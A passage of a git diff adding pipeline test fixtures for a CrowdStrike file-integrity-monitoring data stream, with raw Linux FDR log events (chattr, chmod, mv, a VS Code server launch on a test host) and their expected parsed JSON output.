"2e3d9c94d9c34764860b1f3b444c6d4d", + "ChangeId": "ca65aa54f7b9453b8ef199a5b2c8e3c4", + "ContentDiff": { + "Exists": false + }, + "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70", + "EventType": "Event_ExternalApiEvent", + "EventUUID": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4", + "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched", + "Nonce": 1314049827115114419, + "Policy": { + "ID": "8fd42a5c9ac24959a98d9e430837b5e6", + "Name": "FileVantage Policy" + }, + "Prevalence": { + "Key": "1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser" + }, + "Suppression": { + "Suppressed": false + }, + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "eid": 118 + }, + "event": { + "category": [ + "file" + ], + "created": "2025-12-01T09:26:57.862Z", + "id": "||2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"ChangeId\":\"ca65aa54f7b9453b8ef199a5b2c8e3c4\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1764581217862,\"Nonce\":1314049827115114419,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-12-01T09:26:57Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}", + "type": [ + "change" + ] + }, + "host": { + "hostname": "LINUX-TEST-HOST-01", + "name": "LINUX-TEST-HOST-01" + }, + "related": { + "hosts": [ + "LINUX-TEST-HOST-01" + ], + "user": [ + "testuser", + "1000" + ] + }, + "rule": { + "name": "/home/testuser/filevantage/", + "ruleset": "FileVantage Rule Group" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "1000", + "name": "testuser" + } + }, + { + "@timestamp": "2025-11-18T08:10:35.173Z", + "crowdstrike": { + "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d", + "ChangeId": "26a2448c6c174cac8cd2b46b74fe93ed", + "ContentDiff": { + "Exists": false + }, + "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70", + "EventType": "Event_ExternalApiEvent", + "EventUUID": "26a2448c-6c17-4cac-8cd2-b46b74fe93ed", + "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched", + "Nonce": 8348878083986819890, + "Policy": { + "ID": "8fd42a5c9ac24959a98d9e430837b5e6", + "Name": "FileVantage Policy" + }, + "Prevalence": { + "Key": "1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser" + }, + "Suppression": { + "Suppressed": false + }, + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "eid": 118 + }, + "event": { + "category": [ + "file" + ], + "created": "2025-11-18T08:10:35.173Z", + "id": "||2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"ChangeId\":\"26a2448c6c174cac8cd2b46b74fe93ed\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"adb\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1763453435173,\"Nonce\":8348878083986819890,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"26a2448c-6c17-4cac-8cd2-b46b74fe93ed\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-11-18T08:10:35Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}", + "type": [ + "change" + ] + }, + "file": { + "hash": { + "sha256": "adb" + } + }, + "host": { + "hostname": "LINUX-TEST-HOST-01", + "name": "LINUX-TEST-HOST-01" + }, + "related": { + "hash": [ + "adb" + ], + "hosts": [ + "LINUX-TEST-HOST-01" + ], + "user": [ + "testuser", + "1000" + ] + }, + "rule": { + "name": "/home/testuser/filevantage/", + "ruleset": "FileVantage Rule Group" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "1000", + "name": "testuser" + } + }, + { + "@timestamp": "2025-12-05T13:09:18.406Z", + "crowdstrike": { + "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d", + "ChangeId": "784c387c806a4adda54f83bc938d022d", + "ContentDiff": { + "Exists": false + }, + "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70", + "EventType": "Event_ExternalApiEvent", + "EventUUID": "784c387c-806a-4add-a54f-83bc938d022d", + "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched", + "Nonce": 7339193177690829435, + "Policy": { + "ID": "8fd42a5c9ac24959a98d9e430837b5e6", + "Name": "FileVantage Policy" + }, + "Prevalence": { + "Key": "1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root" + }, + "Suppression": { + "Suppressed": false + }, + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "eid": 118 + }, + "event": { + "category": [ + "file" + ], + "created": "2025-12-05T13:09:18.406Z", + "id": "||2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"ChangeId\":\"784c387c806a4adda54f83bc938d022d\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"root\",\"ID\":\"0\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1764940158406,\"Nonce\":7339193177690829435,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"784c387c-806a-4add-a54f-83bc938d022d\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-12-05T13:09:18Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}", + "type": [ + "change" + ] + }, + "host": { + "hostname": "LINUX-TEST-HOST-01", + "name": "LINUX-TEST-HOST-01" + }, + "related": { + "hosts": [ + "LINUX-TEST-HOST-01" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "name": "/home/testuser/filevantage/", + "ruleset": "FileVantage Rule Group" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "0", + "name": "root" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log new file mode 100644 index 0000000000..c8074c265b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log @@ -0,0 +1,4 @@ +{"CommandLine":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018306.15","ConfigStateHash":"3670115942","ContextProcessId":"53161386728422","ContextTimeStamp":"1764581215.460","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/usr/bin/env","ImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.20","ObjectAccessOperationType":"1","ObjectName":"/home/testuser/filevantage/suppressed","ObjectType":"2","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","RUID":"1000","RawProcessId":"32136","RuleModifiedTimeStamp":"","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.20","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764581216103"} +{"CommandLine":"chattr -i test.txt","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56475831735124","ContextTimeStamp":"1764940155.335","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/usr/bin/bash","ImageFileName":"/usr/bin/chattr","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","NewFileAttributesLinux":"0","ObjectAccessOperationType":"6","ObjectName":"/home/testuser/filevantage/test.txt","ObjectType":"1","ParentImageFileName":"/usr/bin/sudo","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","PreviousFileAttributesLinux":"16","RUID":"0","RawProcessId":"11590","RuleModifiedTimeStamp":"","UID":"0","UserName":"root","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"784c387c-806a-4add-a54f-83bc938d022d","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764940155942"} +{"CommandLine":"chmod +x test.sh","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56470381986263","ContextTimeStamp":"1764939765.615","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","ImageFileName":"/usr/bin/chmod","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","NewUnixPermissions":"509","ObjectAccessOperationType":"7","ObjectName":"/home/testuser/filevantage/test.sh","ObjectType":"1","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","PreviousUnixPermissions":"436","RUID":"1000","RawProcessId":"1205","RuleModifiedTimeStamp":"","SecurityInformationLinux":"1","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"48cd83c0-62ba-471c-a6a2-fa5309195dde","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764939766240"} +{"CommandLine":"mv test.txt newname.txt","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56480700653114","ContextTimeStamp":"1764940527.728","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","ImageFileName":"/usr/bin/mv","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","ObjectAccessOperationType":"5","ObjectName":"/home/testuser/filevantage/test.txt","ObjectNameNew":"/home/testuser/filevantage/newname.txt","ObjectType":"1","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","RUID":"1000","RawProcessId":"21533","RuleModifiedTimeStamp":"","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"54049e9e-d8c2-41c8-8822-98687f7a3608","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764940528352"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json new file mode 100644 index 0000000000..3b272f36c9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json @@ -0,0 +1,636 @@ +{ + "expected": [ + { + "@timestamp": "2025-12-01T09:26:56.103Z", + "crowdstrike": { + "ConfigStateHash": "3670115942", + "ContextProcessId": "53161386728422", + "ContextTimeStamp": "2025-12-01T09:26:55.460Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "GrandparentImageFileName": "/usr/bin/env", + "IsEBPF": "0", + "IsFromDifferentMountNamespace": "0", + "LocalAddressIP4": [ + "192.0.2.20" + ], + "ObjectAccessOperationType": "CREATE", + "ObjectType": "FOLDER", + "ParentImageFileName": "/usr/bin/bash", + "Policy": { + "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6" + }, + "PolicyRuleSeverity": 3, + "RUID": "1000", + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "id": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4", + "name": "FileIntegrityMonitorRuleMatchedLinV9" + }, + "device": { + "id": "2e3d9c94d9c34764860b1f3b444c6d4d" + }, + "event": { + "action": "FileIntegrityMonitorRuleMatched", + "category": [ + "file" + ], + "created": "2025-12-01T09:26:56.103Z", + "id": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"CommandLine\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018306.15\",\"ConfigStateHash\":\"3670115942\",\"ContextProcessId\":\"53161386728422\",\"ContextTimeStamp\":\"1764581215.460\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/usr/bin/env\",\"ImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.20\",\"ObjectAccessOperationType\":\"1\",\"ObjectName\":\"/home/testuser/filevantage/suppressed\",\"ObjectType\":\"2\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"RUID\":\"1000\",\"RawProcessId\":\"32136\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.20\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764581216103\"}", + "severity": 73, + "type": [ + "creation" + ] + }, + "file": { + "directory": "/home/testuser/filevantage", + "name": "suppressed", + "path": "/home/testuser/filevantage/suppressed", + "type": "dir" + }, + "host": { + "hostname": "LINUX-TEST-HOST-01", + "id": "2e3d9c94d9c34764860b1f3b444c6d4d", + "name": "LINUX-TEST-HOST-01", + "os": { + "type": "linux" + } + }, + "message": "FileIntegrityMonitorRuleMatched", + "observer": { + "address": [ + "192.0.2.20" + ], + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": [ + "192.0.2.20" + ], + "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d", + "version": "1007.8.0018306.15" + }, + "process": { + "args": [ + "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node", + "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js", + "--start-server", + "--host=127.0.0.1", + "--accept-server-license-terms", + "--enable-remote-auto-shutdown", + "--port=0", + "--telemetry-level", + "all", + "--connection-token-file", + "/home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token" + ], + "args_count": 11, + "command_line": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token", + "entity_id": "53161386728422", + "executable": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node", + "name": "node", + "pid": 32136, + "real_user": { + "id": "1000" + } + }, + "related": { + "hash": [ + "3670115942" + ], + "hosts": [ + "LINUX-TEST-HOST-01" + ], + "ip": [ + "192.0.2.20" + ], + "user": [ + "testuser", + "1000" + ] + }, + "rule": { + "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235", + "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E" + }, + "source": { + "address": "192.0.2.20", + "as": { + "number": 64500, + "organization": { + "name": "Documentation ASN" + } + }, + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": "192.0.2.20" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "1000" + } + }, + "id": "1000", + "name": "testuser" + } + }, + { + "@timestamp": "2025-12-05T13:09:15.942Z", + "crowdstrike": { + "ConfigStateHash": "4077874319", + "ContextProcessId": "56475831735124", + "ContextTimeStamp": "2025-12-05T13:09:15.335Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "GrandparentImageFileName": "/usr/bin/bash", + "IsEBPF": "0", + "IsFromDifferentMountNamespace": "0", + "LocalAddressIP4": [ + "192.0.2.11" + ], + "NewFileAttributesLinux": "0", + "ObjectAccessOperationType": "ATTRIBUTES_CHANGED", + "ObjectType": "FILE", + "ParentImageFileName": "/usr/bin/sudo", + "Policy": { + "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6" + }, + "PolicyRuleSeverity": 3, + "PreviousFileAttributesLinux": "16", + "RUID": "0", + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "id": "784c387c-806a-4add-a54f-83bc938d022d", + "name": "FileIntegrityMonitorRuleMatchedLinV9" + }, + "device": { + "id": "2e3d9c94d9c34764860b1f3b444c6d4d" + }, + "event": { + "action": "FileIntegrityMonitorRuleMatched", + "category": [ + "file" + ], + "created": "2025-12-05T13:09:15.942Z", + "id": "784c387c-806a-4add-a54f-83bc938d022d|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"CommandLine\":\"chattr -i test.txt\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56475831735124\",\"ContextTimeStamp\":\"1764940155.335\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/usr/bin/bash\",\"ImageFileName\":\"/usr/bin/chattr\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"NewFileAttributesLinux\":\"0\",\"ObjectAccessOperationType\":\"6\",\"ObjectName\":\"/home/testuser/filevantage/test.txt\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/sudo\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"PreviousFileAttributesLinux\":\"16\",\"RUID\":\"0\",\"RawProcessId\":\"11590\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"0\",\"UserName\":\"root\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"784c387c-806a-4add-a54f-83bc938d022d\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764940155942\"}", + "severity": 73, + "type": [ + "change" + ] + }, + "file": { + "attributes": [ + "0" + ], + "directory": "/home/testuser/filevantage", + "extension": "txt", + "name": "test.txt", + "path": "/home/testuser/filevantage/test.txt", + "type": "file" + }, + "host": { + "hostname": "LINUX-TEST-HOST-01", + "id": "2e3d9c94d9c34764860b1f3b444c6d4d", + "name": "LINUX-TEST-HOST-01", + "os": { + "type": "linux" + } + }, + "message": "FileIntegrityMonitorRuleMatched", + "observer": { + "address": [ + "192.0.2.1" + ], + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": [ + "192.0.2.1" + ], + "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d", + "version": "1007.8.0018308.15" + }, + "process": { + "args": [ + "chattr", + "-i", + "test.txt" + ], + "args_count": 3, + "command_line": "chattr -i test.txt", + "entity_id": "56475831735124", + "executable": "/usr/bin/chattr", + "name": "chattr", + "pid": 11590, + "real_user": { + "id": "0" + } + }, + "related": { + "hash": [ + "4077874319" + ], + "hosts": [ + "LINUX-TEST-HOST-01" + ], + "ip": [ + "192.0.2.1", + "192.0.2.11" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235", + "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E" + }, + "source": { + "address": "192.0.2.11", + "as": { + "number": 64500, + "organization": { + "name": "Documentation ASN" + } + }, + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": "192.0.2.11" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "0" + } + }, + "id": "0", + "name": "root" + } + }, + { + "@timestamp": "2025-12-05T13:02:46.240Z", + "crowdstrike": { + "ConfigStateHash": "4077874319", + "ContextProcessId": "56470381986263", + "ContextTimeStamp": "2025-12-05T13:02:45.615Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "GrandparentImageFileName": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node", + "IsEBPF": "0", + "IsFromDifferentMountNamespace": "0", + "LocalAddressIP4": [ + "192.0.2.11" + ], + "NewUnixPermissions": "509", + "ObjectAccessOperationType": "PERMISSIONS_CHANGED", + "ObjectType": "FILE", + "ParentImageFileName": "/usr/bin/bash", + "Policy": { + "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6" + }, + "PolicyRuleSeverity": 3, + "PreviousUnixPermissions": "436", + "RUID": "1000", + "SecurityInformationLinux": "1", + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "id": "48cd83c0-62ba-471c-a6a2-fa5309195dde", + "name": "FileIntegrityMonitorRuleMatchedLinV9" + }, + "device": { + "id": "2e3d9c94d9c34764860b1f3b444c6d4d" + }, + "event": { + "action": "FileIntegrityMonitorRuleMatched", + "category": [ + "file" + ], + "created": "2025-12-05T13:02:46.240Z", + "id": "48cd83c0-62ba-471c-a6a2-fa5309195dde|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"CommandLine\":\"chmod +x test.sh\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56470381986263\",\"ContextTimeStamp\":\"1764939765.615\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"ImageFileName\":\"/usr/bin/chmod\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"NewUnixPermissions\":\"509\",\"ObjectAccessOperationType\":\"7\",\"ObjectName\":\"/home/testuser/filevantage/test.sh\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"PreviousUnixPermissions\":\"436\",\"RUID\":\"1000\",\"RawProcessId\":\"1205\",\"RuleModifiedTimeStamp\":\"\",\"SecurityInformationLinux\":\"1\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"48cd83c0-62ba-471c-a6a2-fa5309195dde\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764939766240\"}", + "severity": 73, + "type": [ + "change" + ] + }, + "file": { + "directory": "/home/testuser/filevantage", + "extension": "sh", + "name": "test.sh", + "path": "/home/testuser/filevantage/test.sh", + "type": "file" + }, + "host": { + "hostname": "LINUX-TEST-HOST-01", + 